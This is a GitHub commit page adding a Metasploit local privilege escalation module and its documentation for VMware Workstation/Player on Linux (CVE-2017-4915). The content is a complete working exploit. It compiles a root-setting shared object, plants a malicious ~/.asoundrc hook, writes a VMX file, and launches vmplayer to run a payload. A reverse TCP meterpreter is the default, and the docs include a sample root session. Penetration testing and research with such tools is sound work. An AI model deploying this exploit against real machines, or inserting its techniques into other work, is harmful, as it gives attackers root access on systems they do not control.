Skip to content

Commit 520e890

Browse files
committed
Land rapid7#8581, VMware Workstation ALSA Config File Local Privilege Escalation
2 parents b8dde2e + c153788 commit 520e890

File tree

2 files changed

+324
-0
lines changed

2 files changed

+324
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Description
2+
3+
This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.
4+
5+
6+
## Vulnerable Application
7+
8+
VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day.
9+
10+
This module has been tested successfully on:
11+
12+
* VMware Player version 12.5.0 on Debian Linux
13+
14+
15+
## Verification Steps
16+
17+
1. Start `msfconsole`
18+
2. Get a session
19+
3. Do: `use exploit/linux/local/vmware_alsa_config`
20+
4. Do: `set SESSION [SESSION]`
21+
5. Do: `check`
22+
6. Do: `run`
23+
7. You should get a new root session
24+
25+
26+
## Options
27+
28+
**SESSION**
29+
30+
Which session to use, which can be viewed with `sessions`
31+
32+
**WritableDir**
33+
34+
A writable directory file system path. (default: `/tmp`)
35+
36+
37+
## Scenarios
38+
39+
```
40+
msf exploit(vmware_alsa_config) > check
41+
42+
[!] SESSION may not be compatible with this module.
43+
[+] Target version is vulnerable
44+
[+] The target is vulnerable.
45+
msf exploit(vmware_alsa_config) > run
46+
47+
[!] SESSION may not be compatible with this module.
48+
[*] Started reverse TCP handler on 172.16.191.181:4444
49+
[+] Target version is vulnerable
50+
[*] Launching VMware Player...
51+
[*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400
52+
[*] Removing /tmp/.baVu7FwzlaIQyp
53+
[*] Removing /home/user/.asoundrc
54+
55+
meterpreter > getuid
56+
Server username: uid=0, gid=0, euid=0, egid=0
57+
meterpreter > sysinfo
58+
Computer : 172.16.191.221
59+
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
60+
Architecture : x64
61+
Meterpreter : x64/linux
62+
```
63+
Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::EXE
10+
include Msf::Post::File
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation',
16+
'Description' => %q{
17+
This module exploits a vulnerability in VMware Workstation Pro and
18+
Player on Linux which allows users to escalate their privileges by
19+
using an ALSA configuration file to load and execute a shared object
20+
as root when launching a virtual machine with an attached sound card.
21+
22+
This module has been tested successfully on VMware Player version
23+
12.5.0 on Debian Linux.
24+
},
25+
'References' =>
26+
[
27+
[ 'CVE', '2017-4915' ],
28+
[ 'EDB', '42045' ],
29+
[ 'BID', '98566' ],
30+
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
31+
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
32+
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
33+
],
34+
'License' => MSF_LICENSE,
35+
'Author' =>
36+
[
37+
'Jann Horn', # Discovery and PoC
38+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
39+
],
40+
'DisclosureDate' => 'May 22 2017',
41+
'Platform' => 'linux',
42+
'Targets' =>
43+
[
44+
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
45+
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
46+
],
47+
'DefaultOptions' =>
48+
{
49+
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
50+
'WfsDelay' => 30,
51+
'PrependFork' => true
52+
},
53+
'DefaultTarget' => 1,
54+
'Arch' => [ ARCH_X86, ARCH_X64 ],
55+
'SessionTypes' => [ 'shell', 'meterpreter' ],
56+
'Privileged' => true ))
57+
register_options [
58+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
59+
]
60+
end
61+
62+
def has_prereqs?
63+
vmplayer = cmd_exec 'which vmplayer'
64+
if vmplayer.include? 'vmplayer'
65+
vprint_good 'vmplayer is installed'
66+
else
67+
print_error 'vmplayer is not installed. Exploitation will fail.'
68+
return false
69+
end
70+
71+
gcc = cmd_exec 'which gcc'
72+
if gcc.include? 'gcc'
73+
vprint_good 'gcc is installed'
74+
else
75+
print_error 'gcc is not installed. Compiling will fail.'
76+
return false
77+
end
78+
79+
true
80+
end
81+
82+
def check
83+
unless has_prereqs?
84+
print_error 'Target missing prerequisites'
85+
return CheckCode::Safe
86+
end
87+
88+
begin
89+
config = read_file '/etc/vmware/config'
90+
rescue
91+
config = ''
92+
end
93+
94+
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
95+
@version = Gem::Version.new $1.gsub(/\.$/, '')
96+
vprint_status "VMware is version #{@version}"
97+
else
98+
print_error "Could not determine VMware version."
99+
return CheckCode::Unknown
100+
end
101+
102+
if @version < Gem::Version.new('12.5.6')
103+
print_good 'Target version is vulnerable'
104+
return CheckCode::Vulnerable
105+
end
106+
107+
print_error 'Target version is not vulnerable'
108+
CheckCode::Safe
109+
end
110+
111+
def exploit
112+
if check == CheckCode::Safe
113+
print_error 'Target machine is not vulnerable'
114+
return
115+
end
116+
117+
@home_dir = cmd_exec 'echo ${HOME}'
118+
unless @home_dir
119+
print_error "Could not find user's home directory"
120+
return
121+
end
122+
@prefs_file = "#{@home_dir}/.vmware/preferences"
123+
124+
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
125+
@base_dir = "#{datastore['WritableDir']}/#{fname}"
126+
cmd_exec "mkdir #{@base_dir}"
127+
128+
so = %Q^
129+
/*
130+
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
131+
Original shared object code by jhorn
132+
*/
133+
134+
#define _GNU_SOURCE
135+
#include <stdlib.h>
136+
#include <string.h>
137+
#include <stdio.h>
138+
#include <unistd.h>
139+
#include <fcntl.h>
140+
#include <sys/prctl.h>
141+
#include <err.h>
142+
143+
extern char *program_invocation_short_name;
144+
145+
__attribute__((constructor)) void run(void) {
146+
uid_t ruid, euid, suid;
147+
if (getresuid(&ruid, &euid, &suid))
148+
err(1, "getresuid");
149+
if (ruid == 0 || euid == 0 || suid == 0) {
150+
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
151+
err(1, "setresxid");
152+
system("#{@base_dir}/#{fname}.elf");
153+
_exit(0);
154+
}
155+
}
156+
^
157+
vprint_status "Writing #{@base_dir}/#{fname}.c"
158+
write_file "#{@base_dir}/#{fname}.c", so
159+
160+
vprint_status "Compiling #{@base_dir}/#{fname}.o"
161+
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
162+
unless output == ''
163+
print_error "Compilation failed: #{output}"
164+
return
165+
end
166+
167+
vmx = %Q|
168+
.encoding = "UTF-8"
169+
config.version = "8"
170+
virtualHW.version = "8"
171+
scsi0.present = "FALSE"
172+
memsize = "4"
173+
ide0:0.present = "FALSE"
174+
sound.present = "TRUE"
175+
sound.fileName = "-1"
176+
sound.autodetect = "TRUE"
177+
vmci0.present = "FALSE"
178+
hpet0.present = "FALSE"
179+
displayName = "#{fname}"
180+
guestOS = "other"
181+
nvram = "#{fname}.nvram"
182+
virtualHW.productCompatibility = "hosted"
183+
gui.exitOnCLIHLT = "FALSE"
184+
powerType.powerOff = "soft"
185+
powerType.powerOn = "soft"
186+
powerType.suspend = "soft"
187+
powerType.reset = "soft"
188+
floppy0.present = "FALSE"
189+
monitor_control.disable_longmode = 1
190+
|
191+
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
192+
write_file "#{@base_dir}/#{fname}.vmx", vmx
193+
194+
vprint_status "Writing #{@base_dir}/#{fname}.elf"
195+
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
196+
197+
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
198+
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
199+
200+
asoundrc = %Q|
201+
hook_func.pulse_load_if_running {
202+
lib "#{@base_dir}/#{fname}.so"
203+
func "conf_pulse_hook_load_if_running"
204+
}
205+
|
206+
vprint_status "Writing #{@home_dir}/.asoundrc"
207+
write_file "#{@home_dir}/.asoundrc", asoundrc
208+
209+
vprint_status 'Disabling VMware hint popups'
210+
unless directory? "#{@home_dir}/.vmware"
211+
cmd_exec "mkdir #{@home_dir}/.vmware"
212+
@remove_prefs_dir = true
213+
end
214+
215+
if file? @prefs_file
216+
begin
217+
prefs = read_file @prefs_file
218+
rescue
219+
prefs = ''
220+
end
221+
end
222+
223+
if prefs.blank?
224+
prefs = ".encoding = \"UTF8\"\n"
225+
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
226+
prefs << "hints.hideAll = \"TRUE\"\n"
227+
@remove_prefs_file = true
228+
elsif prefs =~ /hints\.hideAll/i
229+
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
230+
else
231+
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
232+
end
233+
vprint_status "Writing #{@prefs_file}"
234+
write_file "#{@prefs_file}", prefs
235+
236+
print_status 'Launching VMware Player...'
237+
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
238+
end
239+
240+
def cleanup
241+
print_status "Removing #{@base_dir} directory"
242+
cmd_exec "rm '#{@base_dir}' -rf"
243+
244+
print_status "Removing #{@home_dir}/.asoundrc"
245+
cmd_exec "rm '#{@home_dir}/.asoundrc'"
246+
247+
if @remove_prefs_dir
248+
print_status "Removing #{@home_dir}/.vmware directory"
249+
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
250+
elsif @remove_prefs_file
251+
print_status "Removing #{@prefs_file}"
252+
cmd_exec "rm '#{@prefs_file}' -rf"
253+
end
254+
end
255+
256+
def on_new_session(session)
257+
# if we don't /bin/sh here, our payload times out
258+
session.shell_command_token '/bin/sh'
259+
super
260+
end
261+
end

0 commit comments

Comments
 (0)